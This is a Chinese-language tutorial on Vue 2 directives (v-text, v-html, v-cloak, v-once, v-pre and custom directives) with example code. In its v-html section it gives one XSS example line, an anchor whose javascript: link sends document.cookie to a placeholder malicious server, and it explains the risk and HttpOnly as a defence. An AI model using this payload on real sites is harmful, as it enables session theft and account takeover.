除了之前已經介紹過的v-on v-bind?v-for v-if v-show,vue還有很多其他的指令。
v-text
v-text是Vue內置指令。內置指令,是Vue內部定義好的,開發的時候直接拿來用就行了。
v-text用于向其所在的標簽添加文本。
<body><div id="root"><div v-text="data"></div></div><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {data:'hello world',}},})</script>
</body>
插值語法也可以向標簽中添加本文,和v-text比起來,插值語法更靈活,因為使用v-text時,標簽內部的文本會被完全忽略,最終v-text的內容會覆蓋標簽里的文本,這就代表著,在使用v-text時,只能用v-text的value完成所有文本的編輯,語法要稍微復雜一些。
雖然標簽中寫了數據catcat,但頁面并沒有顯示這段數據,標簽內的內容被完全覆蓋了。
v-text并不能解析標簽,如果v-text的內容是標簽,標簽只會被當做普通的字符串解析。
但是,如果標簽中不需要添加很復雜的語法,想填充某個變量,使用v-text也可以。
v-html
與v-text對比,v-html的作用類似,也是用于向其所在的標簽中添加內容,v-html也會完全替換標簽中的內容。但不同的是,v-html可以解析標簽內容。
但與此同時,v-html也存在安全問題。
cookie
要介紹安全問題,首先要了解cookie。以登錄為例,當我們在網站中輸入好用戶名和密碼,點擊登錄時,如果都輸入正確,會跳入用戶的個人主頁。登錄到個人主頁后,用戶就具有登錄狀態,能夠訪問一些私人信息頁面,比如訪問個人信息庫等,不需要重復輸入賬戶和密碼。這個不需要重復輸入賬戶和密碼的過程,就使用了cookie。
當用戶用賬戶和密碼登錄網站時,也就是用戶第一次和服務器端通信時,用戶名向服務器發送數據,并且帶上賬戶信息,服務器端接收信息,驗證成功后,會給用戶端響應數據,即成功的頁面信息等,同時,服務器端還會返回cookie,cookie的本質就是一個類似key:value的json字符串。
當瀏覽器拿到服務器端返回的cookie后,瀏覽器會把服務器端返回的cookie存儲起來。
當瀏覽器需要訪問當前網站的其他某個需要登錄態才能訪問的頁面時,客戶端不需要重新輸入賬戶和密碼,客戶端會自動攜帶一開始存儲的服務端返回的cookie。這個cookie就是身份標識,服務端通過對cookie進行校驗,可以驗證用戶的身份,當驗證身份成功后,服務端會返回用戶當前請求的數據,以及返回新的cookie。
新返的cookie,取決于服務器端的設置,并不一定都會攜帶,也許網站會在用戶登錄的時候返回所有用戶需要的cookie,也可能是當用戶請求某個頁面時,才返回對應的cookie。瀏覽器同樣會存儲新返回的cookie。每次客戶端請求信息時,都會攜帶服務器返回的cookie。
當cookie被攻擊者竊取時,攻擊者就能仿冒用戶的身份,獲得數據。
對于不同的瀏覽器,瀏覽器各自存儲的cookie是不互通的。
cookie可以在登錄頁面后,按f12,在界面的application里查看,cookies都是key:value格式。
假設攻擊者能獲取當前用戶獲得訪問權限需要的所有cookie,攻擊者就能獲得當前用戶的登錄態。
v-html與cookie
cookies是瀏覽器存儲在硬盤中的數據,刷新瀏覽器也不會丟。通過document.cookie能夠獲得網站的所有cookie。
如果v-html中的標簽,是惡意標簽內容,在其中暗含了輸出cookie的代碼,就能泄露cookie信息。
<a href=javascript:location.href="惡意服務器網址?"+document.cookie></a>
當用戶點擊這段a標簽,就會跳轉到惡意服務器網址,并且會在惡意網址中以query的形式顯示cookie。惡意網址收到這段訪問信息,就能獲得當前網站和你的cookies。
不過,其實瀏覽器也考慮了安全問題,實際攻擊時,并不會如此容易地獲取cookie,以上內容只是一個簡單的例子。可以設置HttpOnly,當一個cookie被設置了HttpOnly時,那么就只有使用http協議的時候能攜帶這個cookie,攻擊者通過javascript跳轉的方式并不能獲取所有的cookie。
但是,如果代碼寫得不夠完善,還是會造成安全問題。
v-html本身能夠把一段html標簽直接放入頁面中進行解析,本身就存在很高的安全風險。
在form相關的標簽中,一定不要使用v-html。
v-cloak
考慮這樣一種情況,當前網頁需要請求外部js數據,且這個數據返回得非常慢,可能要很多秒才能返回。
這時候,可能會產生js阻塞現象。也就是說,如果js寫在head中,瀏覽器在body部分渲染,js請求多久,頁面就多久無法顯示。
如果js寫在body的最后面,雖然js不會阻塞頁面的顯示,但是頁面上的數據可能是未經解析的,用戶看到的是空白數據甚至是未經解析的模版字符串,這也會造成問題。
如果我們希望js寫在body下方,且不希望內部寫的代碼展示在頁面上,也就是不希望頁面顯示未經解析的代碼。
vue提供v-cloak來解決這個問題。
可以在不希望頁面顯示代碼的標簽里加上v-cloak,加上v-cloak之后,在頁面數據已經顯示,但尚未解析的時候,v-cloak會暫時接管容器,在Vue接管容器時,v-cloak才會被刪除。
v-cloak是和css配合使用的,在css中選中v-cloak屬性,通過把含有v-cloak屬性的標簽設置成不顯示,可以解決這個問題。
v-cloak用于在網速過慢時,阻止頁面顯示未經解析的數據。
v-once
當標簽設置v-once之后,當前標簽只在初次渲染時是動態的,渲染完成后,標簽就變成靜態的了。即使過后標簽中的數據發生改變,標簽也并不會重新解析。
也就是說當前標簽只進行一次解析。
v-pre
用于跳過其所在標簽的解析過程。
如果一個標簽沒有vue語法,不需要解析,就可以給當前標簽設置v-pre,加速解析過程。
但要注意,如果標簽中有vue語法,不要使用v-pre,使用v-pre會導致含有vue語法的標簽不會進行解析,可能會在頁面中顯示出原生的vue語法。
自定義指令
除了vue定義好的指令,開發人員也可以自己定義指令。
vue中的指令,其實一般就是對DOM的修改操作進行了封裝。
自定義指令的語法,在標簽中,和一般的指令語法是一樣的,v-自定義指令名="指令綁定的數據"。
對于自定義指令,需要在new vue時進行配置:通過directives:{}進行配置,指令以key:value的形式進行配置,key是自定義指令名,value配置語法有兩種,一種value值是函數式,一種value值是對象式。
當把value配置成函數時,指令的效果不靠返回值,而是靠函數的參數。該函數具有兩個參數,第一個參數element是指令所在的標簽,該標簽是真實DOM;第二個參數binding是一個對象,該對象具有很多和指令相關的數據:對象中包含指令綁定的數據,這個數值通過.value獲取。對象中也記錄了.expression,.expression記錄了v-自定義指令名="",中""里的內容。
自定義函數何時會被調用:
自定義函數在兩種情況下會被調用,一種是在指令與元素成功綁定時會調用一次。然后是指令所在的vue模板被重新解析時,指令函數也會被調用。也就是說,當其他數據修改造成模板重新解析時,當前指令也會被重新調用。
函數式
自定義指令主要取決于開發人員的需求,如果我們想把綁定的數值放大一定倍數,可以寫一個v-large指令。
<body><div id="root"><div v-large="num">{{num}}</div></div><style></style><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {num:1,}},directives:{large(element,binding){console.log(element);console.log(binding);element.innerHTML = binding.value * 100;}}})</script>
</body>
對象式
如果想定義一個指令v-focus,該指令可以讓綁定指令的input元素默認獲得焦點。
對于焦點來說,一個Input框如果想獲取焦點,需要DOM元素先在頁面上生成,然后才能獲取焦點。
由于指令是在指令與元素綁定時就調用一次開發者定義的函數,這個時候,指令對應的標簽還沒有生成DOM。如果使用函數的形式配置指令,是無法給標簽設置focus的。
如果我們希望在DOM標簽生成之后,再配置focus,就需要使用對象式配置:
指令名:{
? ? ? ? 函數1,
? ? ? ? 函數2,
? ? ? ? ....
}
對于配置對象,對象中需要配置多個函數,每個函數都有自己觸發的時機,函數名是固定的,對應的觸發時機也是固定的,不能自己定義。
函數具有bind、inserted和update鉤子,vue會在某個時機調用某個鉤子。
當指令和元素成功綁定時,就會調用bind函數。
當指令所在的標簽被插入頁面時,inserted被調用。
當指令所在的模板被重新解析時,update函數被調用。
在獲得焦點的例子中,應該在inserted函數中配置焦點。
bind、inserted和update都有兩個參數,都是element和binding。
<body><div id="root"><input type="text" v-focus/></div><style></style><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {}},directives:{focus:{bind(){},inserted(element,binding){element.focus();},update(){}}}})</script>
</body>
在bind函數中,可以給標簽配置一些樣式、事件綁定、屬性值配置。
很多時候,bind函數中的邏輯,和updata的邏輯是一樣的,函數式其實就相當于給指令配置了一樣的bind和update,但是沒有配置inserted。
自定義指令注意事項:
指令名的問題:
v- 后面的自定義指令名,如果比較復雜,可能我們會寫成駝峰形式,但是這會導致報錯。
vue會把v- 后面的名字都變成小寫,所以最好不要寫駝峰形式,對于多個單詞,使用-分隔,
在配置directives時,使用字符串形式的key值進行配置:
<body><div id="root"><input type="text" v-get-fouces/></div><style></style><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {num:1,}},directives:{'get-fouces':{bind(){},inserted(element,binding){element.focus();},update(){}}}})</script>
</body>
函數式:
<div id="root"><input type="text" v-get-large/></div>directives:{'get-large':function(){....}或'get-large'(){...}}
指令函數中的this指向:
函數式中的this、對象式鉤子函數中的this:
這些this都是window,即使寫的是普通函數,不是箭頭函數,this指向的也是window。
<body><div id="root"><input type="text" v-get-large/><div v-large></div></div><style></style><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script><script>const vm = new Vue({el:"#root",data(){return {num:1,}},directives:{'get-large':{bind(){console.log(this);}},large(){console.log(this);}}})</script>
</body>
對于當前組件或者vue實例中定義的指令,這些指令也是局部指令,如果要注冊全局自定義指令:
Vue.directive(
? ? ? ? 自定義對象名(字符串形式),配置對象/函數
)
(要注意,局部指令是在directives中配置的,全局注冊是使用directive,末尾沒有s,全局指令是一個一個自定義指令注冊的)